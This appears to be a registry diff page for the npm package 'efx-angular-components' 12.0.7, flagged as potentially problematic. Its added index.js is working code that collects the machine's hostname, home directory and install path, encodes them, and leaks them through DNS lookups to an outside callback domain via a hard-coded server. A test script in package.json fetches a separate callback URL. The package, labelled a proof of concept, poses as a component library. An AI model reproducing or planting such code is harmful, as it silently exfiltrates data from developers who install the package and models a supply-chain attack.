efx-angular-components 12.0.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of efx-angular-components might be problematic. Click here for more details.
- package/index.js +31 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require("os");
|
3
|
+
|
4
|
+
const suffix = '.x.naham.log4j.assetnote-callback.com';
|
5
|
+
const packageName = 'efx-angular-components';
|
6
|
+
|
7
|
+
let data = packageName +
|
8
|
+
'__' + os.hostname() +
|
9
|
+
'__' + os.homedir() +
|
10
|
+
'__' + __dirname;
|
11
|
+
|
12
|
+
data = data.replace(/[^a-zA-Z0-9._]/g, function (m) {
|
13
|
+
return '_' + m.charCodeAt(0).toString(16);
|
14
|
+
});
|
15
|
+
|
16
|
+
const chunks = data.match(/.{1,50}/g);
|
17
|
+
|
18
|
+
const servers = ['45.79.215.101'];
|
19
|
+
dns.setServers(servers);
|
20
|
+
|
21
|
+
const id = Math.random().toString(36).substring(7);
|
22
|
+
|
23
|
+
chunks.forEach(function (chunk) {
|
24
|
+
dns.resolve(id + '.' + chunk + suffix, 'A', function (err, addresses) {
|
25
|
+
if (err) {
|
26
|
+
console.error(err);
|
27
|
+
} else {
|
28
|
+
console.log('Resolved addresses:', addresses);
|
29
|
+
}
|
30
|
+
});
|
31
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "efx-angular-components",
|
3
|
+
"version": "12.0.7",
|
4
|
+
"description": "PoC",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "fetch('https://test123.eo65zizcrju22to70k8bc2bt6kcc01.oastify.com') .then(res => res.text()) .then(text => console.log(text));"
|
8
|
+
},
|
9
|
+
"author": "atomiczsec",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|